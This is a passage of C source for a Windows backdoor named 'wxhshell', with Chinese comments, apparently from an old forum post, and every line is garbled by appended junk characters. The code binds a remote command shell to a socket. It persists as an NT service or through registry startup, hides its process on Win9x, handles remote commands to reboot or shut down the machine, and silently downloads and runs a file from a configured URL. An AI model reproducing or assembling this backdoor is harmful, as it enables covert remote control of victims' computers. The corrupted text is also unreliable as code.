  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $S0eERg a  
  } `X7ns?  
  else { X@ Gm:6  
32*FISH^  
    switch(cmd[0]) { "nK(+Z  
  fjAJys)Q  
  // 帮助 { !C';^  
  case '?': { 2W=( {e)$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >r"~t70C~]  
    break; Gv,0{DVX<  
  } buhn~ c  
  // 安装 6QOdd 6_d  
  case 'i': { ;=.QT  
    if(Install()) sgn,]3AUq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *L9s7RR  
    else [[PUK{P0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G'<J8;B* t  
    break; EMe6Z!k  
    } g& *pk5V>  
  // 卸载 Lw]:/x  
  case 'r': { 2b]'KiX  
    if(Uninstall()) "kKIVlC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^#R-_I  
    else 3d.JV'C'c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \"qXlTQ1_9  
    break; In0kP"  
    } 22|f!la8n  
  // 显示 wxhshell 所在路径 v?yHj-  
  case 'p': { _gY so]S^B  
    char svExeFile[MAX_PATH]; WG;1[o&  
    strcpy(svExeFile,"\n\r"); W&]grG2/  
      strcat(svExeFile,ExeFile); ,XW6W&vR;  
        send(wsh,svExeFile,strlen(svExeFile),0); p1HU2APFP  
    break; I~qS6#%r  
    } Hi{c[;  
  // 重启 ML0o :8Bd\  
  case 'b': { I C9:&C[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ehXj.z  
    if(Boot(REBOOT)) aT F}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A==P?,RG  
    else { ;0}$zy1EZ  
    closesocket(wsh); J W&/l  
    ExitThread(0); #GK&{)$  
    } ;tI=xNre`1  
    break; !xMyk>%2  
    } .*D~ .!  
  // 关机 mY.[AIB  
  case 'd': { ReP7c3D>p  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Qg?^%O'  
    if(Boot(SHUTDOWN)) E'$r#k:o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #HB]qa  
    else { !5 %c`4  
    closesocket(wsh); _p7c<$ ;  
    ExitThread(0); p[&'*"o!/  
    } IQdiVj  
    break; D<}KTyG]  
    } oj@B'j  
  // 获取shell Gw3|"14  
  case 's': { Te2XQU2,F  
    CmdShell(wsh); ZSYXUFz  
    closesocket(wsh); c3!d4mC:  
    ExitThread(0); npz*4\4  
    break; suaTXKjyk+  
  } W*-+j*e|_P  
  // 退出 _=j0Y=/IF  
  case 'x': { hti)<#f  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "VkraB.i  
    CloseIt(wsh); $t-HJ<!  
    break; .BlGV2@^#  
    } T\b e(@r  
  // 离开 tp_*U,  
  case 'q': { ]gkI:scPA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); kwZ 8q-0  
    closesocket(wsh); |>GtClL  
    WSACleanup(); 3Zdkf]Gh  
    exit(1); >va#PFHA  
    break; w^NE`4 -  
        } `>'E4z]-_  
  } -GCGxC2u  
  } >&e|ins^N  
W:b8m Xx  
  // 提示信息 I 8`@Srw8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MH`f!%c  
} EdE,K1gD  
  } >I8R[@  
c&AA< 6pkv  
  return; xgL*O>l)  
} @1gX>!  
: UD<1fh  
// shell模块句柄 sk$MJSE ~  
int CmdShell(SOCKET sock) nod?v2%   
{ E*.D_F  
STARTUPINFO si; RXb+"/   
ZeroMemory(&si,sizeof(si)); i=.zkIjSh  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,F.\z^\{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $=TFTSO  
PROCESS_INFORMATION ProcessInfo; 3rTYe6q$U  
char cmdline[]="cmd"; -2w\8]u  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4rc4}Yu,JI  
  return 0; F.?^ko9d  
} gx#xB8n  
BE:HO^-.1  
// 自身启动模式 0tC+?  
int StartFromService(void) w=s:e M@  
{ ckBcwIXlP&  
typedef struct My76]\Psh  
{ n87B[R  
  DWORD ExitStatus; x;99[C!$  
  DWORD PebBaseAddress; +S5"4<  
  DWORD AffinityMask; \d2Ku10v[  
  DWORD BasePriority; YbND2 i  
  ULONG UniqueProcessId; gb|C592R5C  
  ULONG InheritedFromUniqueProcessId; 9h<];  
}   PROCESS_BASIC_INFORMATION; fl!8\4  
g[0b>r7   
PROCNTQSIP NtQueryInformationProcess; D1;H,  
- {>JF  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u= 5&e)v3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <6)Ogv",  
&#F>%~<or  
  HANDLE             hProcess; * h!gjbi  
  PROCESS_BASIC_INFORMATION pbi; i!LEA/"V  
Z[R E|l{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =[FNZ:3  
  if(NULL == hInst ) return 0; :,Q\!s!  
ly7\H3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "H" 4(3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;x$,x-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Jv %, v?  
\ty{KAc&  
  if (!NtQueryInformationProcess) return 0; b<P9@h~:  
0WaC.C+2i  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B?`Gs^Y {z  
  if(!hProcess) return 0; O[U^{~iM  
|`1lCyV\tE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D kl4 ^}  
7](,/MeGG  
  CloseHandle(hProcess); B+#!%J_  
mFw`LvH?*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KbQ UA$gL=  
if(hProcess==NULL) return 0; [KLs} ~H  
X9K@mX  
HMODULE hMod; T ]hVO'z  
char procName[255]; 0D+[W5TB  
unsigned long cbNeeded; F"1)y>2k  
P%A;EF~ v  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7#SXqyP[  
y4PR&^l?g  
  CloseHandle(hProcess); 'c*Q/C;  
~,WG284  
if(strstr(procName,"services")) return 1; // 以服务启动 eRKuy l  
epI&R)]   
  return 0; // 注册表启动 @e8b'w3  
} 5I`j'j  
{?!=~vp  
// 主模块 _dky+ E  
int StartWxhshell(LPSTR lpCmdLine) I`^ 7Bk.r  
{ Ua\]]<hj"  
  SOCKET wsl; "j;"\i0  
BOOL val=TRUE; b R> G%*a  
  int port=0; "SJp9s3  
  struct sockaddr_in door; [KR|m,QWp  
T2<?4^xN  
  if(wscfg.ws_autoins) Install(); k&wCa<Rs~R  
}^U7NZn<"  
port=atoi(lpCmdLine);  +:k Iq  
YRa{6*M  
if(port<=0) port=wscfg.ws_port; s!(O7Ub  
4r&DW'  
  WSADATA data; meey5}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6<X.]"u+E~  
_<s[HGA`z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   un([3r  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a9]F.Jm  
  door.sin_family = AF_INET; s.7\?(Lg  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ecaEWIOG  
  door.sin_port = htons(port);  mo+zq~,M  
v|fA)W w  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;,2i1m0"  
closesocket(wsl); O{b<UP'85  
return 1; sA$x2[*O  
} 6a6;]lsG  
sdN@ZP  
  if(listen(wsl,2) == INVALID_SOCKET) { cCx@VT`0  
closesocket(wsl); [d 30mVM  
return 1; ere h!  
} a,mG5bQ!  
  Wxhshell(wsl); 7[z^0?Pygf  
  WSACleanup(); 5:y\ejU  
7X 4/6]*  
return 0; s8BfOl-  
k{\wjaf)  
} DwSB(O#X  
Q^13KWvuV  
// 以NT服务方式启动 a7$-gW"Z(,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (zbV-4C  
{ BNi6I\wa  
DWORD   status = 0; 7Z%EXDm4/c  
  DWORD   specificError = 0xfffffff; pRR1k?  
m8M2ka  
  serviceStatus.dwServiceType     = SERVICE_WIN32; = VIU  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; stGk*\>U'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?R-4uG[(  
  serviceStatus.dwWin32ExitCode     = 0; Ac^hZ.qPz  
  serviceStatus.dwServiceSpecificExitCode = 0; N;Hoi8W  
  serviceStatus.dwCheckPoint       = 0; >A&D/k MO  
  serviceStatus.dwWaitHint       = 0; @}9*rWJIE  
S $j"'K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0\tV@ 6p2=  
  if (hServiceStatusHandle==0) return; % !P^se  
D+4oV6}~  
status = GetLastError(); Yr!@pHy  
  if (status!=NO_ERROR) xXb7/.*qE  
{ zXX =WH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7`xeuK  
    serviceStatus.dwCheckPoint       = 0; v7-z<'?s~  
    serviceStatus.dwWaitHint       = 0; $-^ ;Jl  
    serviceStatus.dwWin32ExitCode     = status; LV}Z[\?   
    serviceStatus.dwServiceSpecificExitCode = specificError; VT ikLuH  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;]gj:6M  
    return; +az=EF  
  } !AR@GuQPE  
vciO={M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; d23;c )'  
  serviceStatus.dwCheckPoint       = 0; aI.5w9  
  serviceStatus.dwWaitHint       = 0; Z7]["  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M=rH*w{^  
} (JMk0H3u  
Gx)U~L$B  
// 处理NT服务事件,比如:启动、停止 =;L44.,g  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @kst G3@  
{ r+%$0eB1^  
switch(fdwControl) C"SG':  
{ pu-X -j  
case SERVICE_CONTROL_STOP: t[e`wj+qz  
  serviceStatus.dwWin32ExitCode = 0; F TgqE@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $sILCn  
  serviceStatus.dwCheckPoint   = 0; k'6x_ G  
  serviceStatus.dwWaitHint     = 0; x*'2%3C~  
  { N1D{ %  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !)r1zSY"g  
  } P>U7RX e  
  return; uKA-<nM._c  
case SERVICE_CONTROL_PAUSE: F ?N+ __o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _a]0<Vm C0  
  break; evSr?ys  
case SERVICE_CONTROL_CONTINUE: 6 uS;H]nd<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,vDSY N6  
  break; /Fj*sS8  
case SERVICE_CONTROL_INTERROGATE: 8*x/NaH /\  
  break; ,gO(zI-1  
}; O[Yc-4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F_I.=zQr  
} jjT)3 c:J[  
qs$w9I  
// 标准应用程序主函数 5M v<8P~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) QZwZ4$jkiO  
{ sgLw,WZ:  
99GK6}~TGm  
// 获取操作系统版本 S1I# qb  
OsIsNt=GetOsVer(); S^Mx=KJG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^\ku}X_ [?  
Q30TR  
  // 从命令行安装 0_&5S`tj  
  if(strpbrk(lpCmdLine,"iI")) Install(); `RlMfd  
@f!r"P]  
  // 下载执行文件 ]mR!-Fqj  
if(wscfg.ws_downexe) { mI> =S  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'w"hG$".  
  WinExec(wscfg.ws_filenam,SW_HIDE); Xk>YiV",?  
} BAIR!  
JZup} {a  
if(!OsIsNt) { 7lUnqX.  
// 如果时win9x,隐藏进程并且设置为注册表启动 <Z j>}  
HideProc(); 6DuA  
StartWxhshell(lpCmdLine); 'z9}I #  
} dKpUw9C#/  
else xLShMv}  
  if(StartFromService()) +\x}1bNS%j  
  // 以服务方式启动 $y_P14  
  StartServiceCtrlDispatcher(DispatchTable); 2{|mL`$04<  
else DCP B9:u  
  // 普通方式启动 Lk lD^AJA  
  StartWxhshell(lpCmdLine); Uz_OUTFM  
G,X>f?  
return 0; ^k2g60]  
}
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只看该作者 1 发表于: 2006-10-10
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